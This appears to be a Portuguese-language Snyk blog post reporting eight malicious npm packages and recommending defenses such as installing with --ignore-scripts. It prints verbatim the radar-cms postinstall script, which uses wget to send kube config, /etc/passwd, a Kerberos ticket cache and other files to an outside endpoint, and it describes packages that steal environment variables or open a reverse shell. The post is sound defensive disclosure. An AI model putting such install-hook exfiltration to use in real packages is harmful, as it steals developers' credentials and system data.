Snyk identifica atividades de código malicioso na cadeia de suprimentos de software de código aberto no registro npm

O código aberto ajuda os desenvolvedores a criar software com mais rapidez. Mas quem garante que essas dependências de código aberto (algumas sem atualização há anos) continuem seguras? Em uma pesquisa recente sobre segurança do npm, a Snyk identificou 8 pacotes npm que correspondiam a um vetor de ataque específico envolvendo código malicioso. Esse vetor de ataque incluía pacotes com scripts de pré e pós-instalação, que permitiam executar comandos arbitrários durante a instalação.

Os pacotes maliciosos são:

• radar-cms

• rcenodejs

• paychex-framework-forms

• paychex-framework-core-ui

• paychex-framework-approvals

• paychex-framework

• paychex-common-npm

• paychex-app-common-html

Depois de identificar esses pacotes, a Snyk os denunciou à equipe de segurança do npm para que fossem sinalizados como maliciosos e removidos do registro npm, evitando colocar os usuários finais em risco. O ecossistema npm é aberto por natureza, permitindo que qualquer pessoa envie pacotes. Isso inclui até mesmo pacotes sem código-fonte publicado em um repositório ou que possam conter backdoors e outros códigos maliciosos. Com mais de 1,5 milhão de pacotes no npm, monitorar todos e identificá-los a tempo não é uma tarefa fácil, o que cria um ambiente propício para os invasores.

Agora que os pacotes foram sinalizados, vamos ver como eles funcionavam e o que pretendiam fazer.

O que podemos aprender ao analisar pacotes npm maliciosos

Vamos começar com radar-cms. Primeiro, ele usava uma técnica interessante para se disfarçar: o tamanho total do pacote tarball era superior a 1 MB, provavelmente para passar despercebido por alguns sistemas — incluindo a própria aba Explore do npm ao navegar pelos pacotes em npmjs.com. Na captura de tela abaixo, você pode ver que o tamanho maior do pacote malicioso radar-cms não aparece para inspeção na página do pacote npm:

Depois de instalado, o payload malicioso de radar-cms visava especificamente exfiltrar informações dos hosts. Este é o script postinstall original do pacote malicioso, encontrado no arquivo package.json:

"postinstall": "wget --post-file ~/.kube/config https://entfet95itcxpuu.m.pipedream.net;wget --post-file package.json https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/passwd https://entfet95itcxpuu.m.pipedream.net;wget --post-file /tmp/krb5cc_0 https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/hosts https://entfet95itcxpuu.m.pipedream.net"

Então, como você poderia ter evitado esse ataque? (Se você já leu meu artigo sobre práticas recomendadas de segurança do npm, aposto que sabe.)

Uma prática recomendada para instalar pacotes com segurança é evitar que pacotes npm executem comandos arbitrários durante a instalação. Por isso, na próxima vez que instalar um pacote npm, considere usar o seguinte argumento de linha de comando para impedir a execução de comandos arbitrários por pacotes:

npm install --ignore-scripts

Ou, se você usa o Yarn:

yarn install --ignore-scripts

Em seguida, temos o conjunto de pacotes npm chamados paychex-*. Eles foram criados para roubar dados de variáveis de ambiente durante a instalação — desta vez, usando um gancho de script preinstall — e enviá-los a um servidor remoto. Todos foram sinalizados como maliciosos no banco de dados da Snyk:

Por fim, o pacote malicioso rcenodejs tinha um script preinstall semelhante, que criava um shell reverso para permitir a conexão de invasores remotos.

Em todos esses casos, você pode impedir a execução de código arbitrário durante a instalação do pacote usando:

npm install --ignore-scripts

O que posso fazer para proteger a cadeia de suprimentos de software no npm?

Antes de tudo, é importante conseguir identificar se um pacote npm é malicioso. Isso pode não ficar claro nas páginas de pacotes do npmjs e, depois que você instala o pacote, já é tarde demais.

Para ajudar nisso, o Snyk Advisor mostra com clareza se um pacote foi identificado como malicioso e não deve ser instalado. Por exemplo, a página do Advisor para o pacote npm rcenodejs mostra uma vulnerabilidade de segurança maliciosa CWE-506.

Quanto mais software é criado, maior é o risco de segurança que assumimos. Para se preparar melhor com práticas recomendadas e ferramentas que ajudem a reduzir os riscos ou a evitar por completo esses incidentes, recomendo o seguinte:

1. Consulte estas 10 práticas recomendadas de segurança do npm para garantir que você siga convenções seguras ao trabalhar com software de código aberto. Entre elas estão ativar a autenticação de dois fatores no npmjs, desativar a execução de comandos arbitrários por software de código aberto de terceiros desconhecidos e muito mais.

2. Se você está criando contêineres Docker para Node.js, siga as etapas do artigo sobre práticas recomendadas de segurança para criar contêineres Node.js prontos para produção.